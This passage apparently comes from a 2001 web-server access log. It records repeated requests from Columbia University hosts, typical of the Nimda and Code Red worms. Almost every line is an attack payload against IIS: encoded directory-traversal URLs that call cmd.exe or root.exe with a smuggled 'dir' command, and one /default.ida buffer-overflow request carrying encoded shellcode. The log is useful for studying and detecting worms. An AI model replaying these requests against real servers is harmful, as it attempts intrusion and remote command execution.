HTTP/1.0" 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:09:27: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:09:28: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:09:29: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:09:29: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:10:02: exchange.tc.columbia.edu [128.59.90.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:10:02: exchange.tc.columbia.edu [128.59.90.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:03: exchange.tc.columbia.edu [128.59.90.20] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:09: exchange.tc.columbia.edu [128.59.90.20] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:09: exchange.tc.columbia.edu [128.59.90.20] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:09: exchange.tc.columbia.edu [128.59.90.20] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:10: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:22: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:23: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:10:23: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 15:12:01: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:18:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:18:54: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:18:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:18:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:18:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:18:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:18:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:18:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:18:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:18:55: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:18:56: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:18:56: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:18:56: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:18:56: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:18:56: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:18:56: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:28:44: fms97.facil.columbia.edu [128.59.244.149] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:28:44: fms97.facil.columbia.edu [128.59.244.149] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:28:45: fms97.facil.columbia.edu [128.59.244.149] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:28:45: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:28:45: fms97.facil.columbia.edu [128.59.244.149] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:28:45: fms97.facil.columbia.edu [128.59.244.149] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:28:45: fms97.facil.columbia.edu [128.59.244.149] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:28:45: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:28:45: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:28:46: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:28:46: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:28:46: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:28:46: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:28:46: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:28:46: fms97.facil.columbia.edu [128.59.244.149] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:28:46: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:29:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:29:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:29:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:29:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:29:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:29:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:29:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:29:06: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:29:07: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:29:07: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:29:08: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:29:08: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:29:08: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:29:08: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:29:08: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:29:08: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:30:59: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:31:00: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:31:01: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:31:01: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:31:02: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:31:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:33:43: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:33:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:33:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:33:44: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:33:44: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:34:46: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:34:46: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:37:23: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:37:24: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:37:24: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:37:24: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:37:24: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:37:24: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:39:26: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:39:27: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:39:27: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:40:33: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 15:40:33: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:40:33: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:40:34: dynamic-33-8.dyn.columbia.edu [128.59.33.8] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 15:40:34: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 15:41:12: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET 